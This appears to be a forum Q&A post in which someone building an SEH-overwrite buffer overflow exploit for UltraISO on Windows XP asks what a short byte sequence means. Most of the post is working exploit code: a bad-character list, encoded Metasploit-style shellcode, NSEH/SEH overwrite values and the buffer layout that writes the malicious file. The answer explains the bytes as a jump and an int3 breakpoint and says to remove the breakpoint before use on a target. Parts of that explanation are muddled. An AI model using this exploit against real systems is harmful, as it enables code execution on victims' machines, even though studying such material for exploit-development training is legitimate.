What does this opcode in my exploit code mean?

Question

I'm trying to develop an already existing exploit for Windows XP.

All DLL's are protected by ASRL, so I used an address in ultraiso.exe, but all addresses start with NULL-bytes.

So far, I followed the tutorial here. Everything was going fine, until I reached this opcode:

\xe9\xcb\xfe\xff\xff\xcc

I do not understand what this opcode does and what its purpose is. Can someone please explain this to me?

Here is my exploit code so far:

import sys
import os 

#Message=  0x005b79d2 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [UltraISO.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v9.7.1.3519 (C:\Program Files\UltraISO\UltraISO.exe)


#SEH ascii = 00402D3A
#Next SEH  = EBF8 ===> jmp short $-6 ===> jmp back to our [AAA]

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
'''
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes

'''
buf =  ""
buf += "\xdb\xd2\xb8\xf7\x1b\xec\x7d\xd9\x74\x24\xf4\x5b\x33"
buf += "\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\xe3\xf9"
buf += "\x19\x81\xe3\x7c\xe1\x7a\xf3\xe0\x6b\x9f\xc2\x20\x0f"
buf += "\xeb\x74\x91\x5b\xb9\x78\x5a\x09\x2a\x0b\x2e\x86\x5d"
buf += "\xbc\x85\xf0\x50\x3d\xb5\xc1\xf3\xbd\xc4\x15\xd4\xfc"
buf += "\x06\x68\x15\x39\x7a\x81\x47\x92\xf0\x34\x78\x97\x4d"
buf += "\x85\xf3\xeb\x40\x8d\xe0\xbb\x63\xbc\xb6\xb0\x3d\x1e"
buf += "\x38\x15\x36\x17\x22\x7a\x73\xe1\xd9\x48\x0f\xf0\x0b"
buf += "\x81\xf0\x5f\x72\x2e\x03\xa1\xb2\x88\xfc\xd4\xca\xeb"
buf += "\x81\xee\x08\x96\x5d\x7a\x8b\x30\x15\xdc\x77\xc1\xfa"
buf += "\xbb\xfc\xcd\xb7\xc8\x5b\xd1\x46\x1c\xd0\xed\xc3\xa3"
buf += "\x37\x64\x97\x87\x93\x2d\x43\xa9\x82\x8b\x22\xd6\xd5"
buf += "\x74\x9a\x72\x9d\x98\xcf\x0e\xfc\xf6\x0e\x9c\x7a\xb4"
buf += "\x11\x9e\x84\xe8\x79\xaf\x0f\x67\xfd\x30\xda\xcc\xf1"
buf += "\x7a\x47\x64\x9a\x22\x1d\x35\xc7\xd4\xcb\x79\xfe\x56"
buf += "\xfe\x01\x05\x46\x8b\x04\x41\xc0\x67\x74\xda\xa5\x87"
buf += "\x2b\xdb\xef\xeb\xaa\x4f\x73\xc2\x49\xe8\x16\x1a"

SEH = "\x3A\x2D\x40"
NSEH = "\xEB\xF8\x90\x90"
#304 (junk size) - 6 (jmp 6 bytes) = 298 bytes 
#304 - shellcode size (298) = 84
#shellcode start at : 0012EC6C   DBD2             FCMOVNBE ST,ST(2)
#my jmp : 0012ED70  ^EB F8            JMP SHORT 0012ED6A

#jmp 10 bytes before shellcode : 0012EC62   43               INC EBX

#\xe9\xcb\xfe\xff\xff\xcc


junk1 = "C" * 44
junk2 = "C" * 34
jmp2 = "\xe9\xcb\xfe\xff\xff\xcc"


buffer = junk1 + buf + junk2 + jmp2 +NSEH + SEH 

with open("q.txt" ,"w") as q:
    q.write(buffer)

Answer 1

You opcodes disassamble version can be seen below. You can use https://defuse.ca/online-x86-assembler.htm

0:  e9 cb fe ff ff          jmp    0xfffffed0
5:  cc                      int3

As you know JMP will define next ID (which will be 0xfffffed0). I believe your payload need to be at that id or this need to be a starting id of pop-pop-ret. The "cc" (int3) is the interrupt command, this will pause the execution and will wait for "continue" call, you can think like it is a debugger instruction. If you are just trying to develop your code, at disassembler hit to resume button. If you are gonna use this at the target, you have to remove int3 command (you can replace with null-byte).

I hope this can help.

PS. I did not read tutorial or the all shellcode, just tried to explain the opcode you asked. If you need any further explanation please let me know.